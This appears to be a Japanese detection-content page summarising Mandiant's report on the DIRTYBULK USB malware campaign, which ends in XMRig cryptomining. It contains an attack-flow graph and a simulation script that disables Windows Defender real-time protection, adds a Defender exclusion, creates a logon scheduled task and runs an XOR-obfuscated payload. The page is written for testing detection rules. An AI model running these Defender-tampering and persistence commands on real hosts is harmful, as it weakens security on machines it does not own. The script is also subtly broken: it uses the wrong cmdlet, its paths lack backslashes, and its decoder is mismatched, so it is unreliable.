DIRTYBULKと仲間たち:コインマイニング作戦を支えるUSBマルウェア
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
このレポートは、仮想通貨マイニングを目的としたマルチステージマルウェアチェーンを配布するために、悪意あるショートカットファイルを活用したUSBドライブによる感染キャンペーンの詳細を記述しています。最初の実行では、偽のSystem32ディレクトリーからprintui.dllというDLLをサイドロードし、その後CUTFAILドロッパーへと引き渡し、さらにHIGHREPSというダウンローダーとPUMPBENCHというバックドアを配布します。PUMPBENCHバックドアはPostgreSQLサーバーと通信して追加のペイロードを取得し、最終的にXMRigマイナーを起動します。作戦は、Windows Defenderの除外、スケジュールタスク、および不正サービスを通じて持続性を維持します。
分析
Mandiantの研究者たちはキルチェーンを分解し、核心的な4つのマルウェアファミリー(DIRTYBULK、CUTFAIL、HIGHREPS、およびPUMPBENCH)を強調しました。彼らは攻撃者のファイル命名パターン、printui.dllのDLLサイドローディングの悪用、レジストリ変更、および関連するネットワークインジケーターを記録しました。また、スケジュールタスクやDCOMLaunchサービスグループにリンクされたサービスを含む持続化技術もマッピングしました。
緩和策
推奨される防御策には、リムーバブルメディアからのショートカットファイルの実行をブロックすること、Windows Defenderの除外を追加するコマンドを監視すること、疑わしいprintui.dllのサイドローディング活動を検出すること、およびランダムな6桁の名前を持つサービスやスケジュールタスクを探すことが含まれます。既知の悪意のあるドメインおよびDoHリゾルバに対するネットワーク制御を適用することで、コマンドアンドコントロールチャネルをさらに制限できます。
対応
検出されたら、影響を受けたホストを隔離し、悪意のあるDLLや関連コンポーネントを削除し、攻撃的なスケジュールタスクやサービスエントリーを削除し、除外をクリアすることでWindows Defenderの設定を復元してください。残余のペイロードを発見し、識別されたPostgreSQL C2インフラストラクチャへの接続を追跡するために、包括的なフォレンジックスキャンを実行してください。最後に、観察されたコマンドライン使用法やファイル作成の動作をカバーするために、検出コンテンツを更新してください。
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffff99 classDef process fill:#ff9999 classDef service fill:#ccffcc classDef command fill:#dddddd classDef malware fill:#ffb6c1 %% Initial infection via removable media node_usb_insert[“<b>アクション</b> – <b>T1674 入力インジェクション</b>: 被害者が悪意のあるショートカットを含む USB を挿入する”] class node_usb_insert action node_lnk[“<b>ファイル</b> – <b>悪意のあるショートカット</b> (USB Drive.lnk)”] class node_lnk file node_wscript[“<b>ツール</b> – <b>wscript.exe</b>: VBScript を実行”] class node_wscript tool node_vbs[“<b>ファイル</b> – <b>VBScript</b> (x??????.vbs)”] class node_vbs file node_shortcut_mod[“<b>アクション</b> – <b>T1547.009 ショートカットの改変</b>: 永続化のために LNK を使用”] class node_shortcut_mod action %% Masquerading and side-loading node_masq_dir[“<b>ファイル</b> – <b>偽装ディレクトリ</b> C:\Windows<space>\System32(末尾に空白)”] class node_masq_dir file node_printui_exe[“<b>プロセス</b> – <b>printui.exe</b>(正規)”] class node_printui_exe process node_printui_dll[“<b>ファイル</b> – <b>printui.dll</b>(悪意あり)”] class node_printui_dll file node_dll_hijack[“<b>アクション</b> – <b>T1574.001 実行フローのハイジャック: DLL</b>”] class node_dll_hijack action %% Defense evasion via PowerShell profile node_ps_exclusion[“<b>コマンド</b> – Add-MpPreference -ExclusionPath \”C:\Windows <space>\””] class node_ps_exclusion command node_ps_profile[“<b>アクション</b> – <b>T1546.013 PowerShell プロファイル</b>: 除外コマンドを実行”] class node_ps_profile action %% Persistence through service and scheduled task node_service_create[“<b>アクション</b> – <b>T1543.003 Windows サービスの作成</b>”] class node_service_create action node_service[“<b>サービス</b> – <b>123456</b>(DcomLaunch 配下で作成、ServiceDll を使用)”] class node_service service node_scheduled_task[“<b>コマンド</b> – schtasks /create /tn \”console_zero\” /sc ONLOGON /tr \”C:\Windows\System32\console_zero.exe\” /rl HIGHEST /f”] class node_scheduled_task command node_task_action[“<b>アクション</b> – <b>T1037.001 ログオンスクリプト</b>: ユーザーログオン時に console_zero.exe を実行”] class node_task_action action %% C2 resolution via DoH and fast flux node_doh[“<b>ツール</b> – dns.google への DNS-over-HTTPS クエリ”] class node_doh tool node_fastflux[“<b>アクション</b> – <b>T1568.001 ファストフラックス DNS</b> および <b>T1568.003 DNS 計算</b>”] class node_fastflux action %% Resource hijacking – cryptocurrency mining node_xmrig[“<b>マルウェア</b> – XMRig マイナー”] class node_xmrig malware node_mining[“<b>アクション</b> – <b>T1496.001 リソースのハイジャック</b>: 侵害されたホストでの暗号通貨マイニング”] class node_mining action %% Connections node_usb_insert u002du002du003e|含む| node_lnk node_lnk u002du002du003e|実行| node_wscript node_wscript u002du002du003e|実行| node_vbs node_vbs u002du002du003e|偽装ディレクトリを作成| node_masq_dir node_vbs u002du002du003e|正規の実行ファイルをコピー| node_printui_exe node_vbs u002du002du003e|DLL を悪意のある版に置換| node_printui_dll node_printui_exe u002du002du003e|ロード| node_dll_hijack node_dll_hijack u002du002du003e|悪意のある DLL をロード| node_printui_dll node_printui_dll u002du002du003e|トリガー| node_ps_exclusion node_ps_exclusion u002du002du003e|次を介して実行| node_ps_profile node_ps_profile u002du002du003e|作成| node_service_create node_service_create u002du002du003e|作成| node_service node_service u002du002du003e|有効化| node_scheduled_task node_scheduled_task u002du002du003e|ログオン時に実行| node_task_action node_task_action u002du002du003e|次を介して C2 アドレスを取得| node_doh node_doh u002du002du003e|使用| node_fastflux node_fastflux u002du002du003e|アドレスを提供| node_xmrig node_xmrig u002du002du003e|実行| node_mining
攻撃フロー
シミュレーション実行
前提条件: テレメトリ&ベースラインプレフライトチェックがパスしていること。
理論: このセクションは、検出ルールをトリガーするための正確な敵対技術(TTP)の実行を詳細に説明します。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診を引き起こします。
-
攻撃の概要とコマンド:
-
ステージ1 – 悪意のあるVBScriptをドロップする侵害されたUSBドライブ上に(例:
E:payload.vbs)。このスクリプトは、Add‑MpPreferenceを使用してWindows Defenderのリアルタイム保護を無効にし、XORルーチンでペイロードを暗号化し、持続性のためのスケジュールタスクを作成します。 -
ステージ2 – スクリプトを
wscript.exeを介して実行し、持続性のコマンドラインを直接渡す(ルールの共通条件を満たすため)。 -
ステージ3 – スクリプトは内部でPowerShellを呼び出して暗号化されたペイロードを実行し、「感染チェーン」を示します。
-
ステージ4 – 実行後、攻撃者はアーティファクトをクリーンアップします(スクリプトを削除し、スケジュールタスクを削除)。
-
-
回帰テストスクリプト:
# ------------------------------------------------------------ # 回帰テスト – マルウェア感染チェーンのシミュレーション # ------------------------------------------------------------ $scriptPath = "$env:TEMPpayload.vbs" $taskName = "WinUpdateTask" $xorKey = 0x5A # -- 1. XORで暗号化されたダミーペイロードを作成 -------------------------------- $plainPayload = "calc.exe" $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload) for ($i = 0; $i -lt $bytes.Length; $i++) { $bytes[$i] = $bytes[$i] -bxor $xorKey } $encrypted = [Convert]::ToBase64String($bytes) # -- 2. 悪意のあるVBScriptを書き込む --------------------------------------------- @" ' 悪意のあるVBScript – 感染チェーン Set sh = CreateObject("WScript.Shell") ' リアルタイム保護を無効化 sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True ' 持続性のためのスケジュールされたタスクを作成 sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True ' ペイロードを復号化して実行 Dim encData, decData, i encData = "$encrypted" decData = "" For i = 1 To Len(encData) Step 4 ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey) decData = decData & ch Next sh.Run decData, 0, False "@ | Set-Content -Encoding ASCII $scriptPath # -- 3. wscript.exeを介してスクリプトを実行する(ルールをトリガーする) ------------- wscript.exe "$scriptPath" /B # -- 4. (オプション)タスクが動作するのを確認するために数秒待つ ---------------- Start-Sleep -Seconds 10 # ------------------------------------------------------------ # クリーンアップ – スクリプトとスケジュールタスクの削除 # ------------------------------------------------------------ Remove-Item $scriptPath -Force schtasks /Delete /TN $taskName /F -
クリーンアップコマンド:
# 残留するスケジュールタスクの削除(まだある場合) schtasks /Delete /TN "WinUpdateTask" /F # 残っているスクリプトファイルの削除 Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue # リアルタイム保護の再有効化 powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"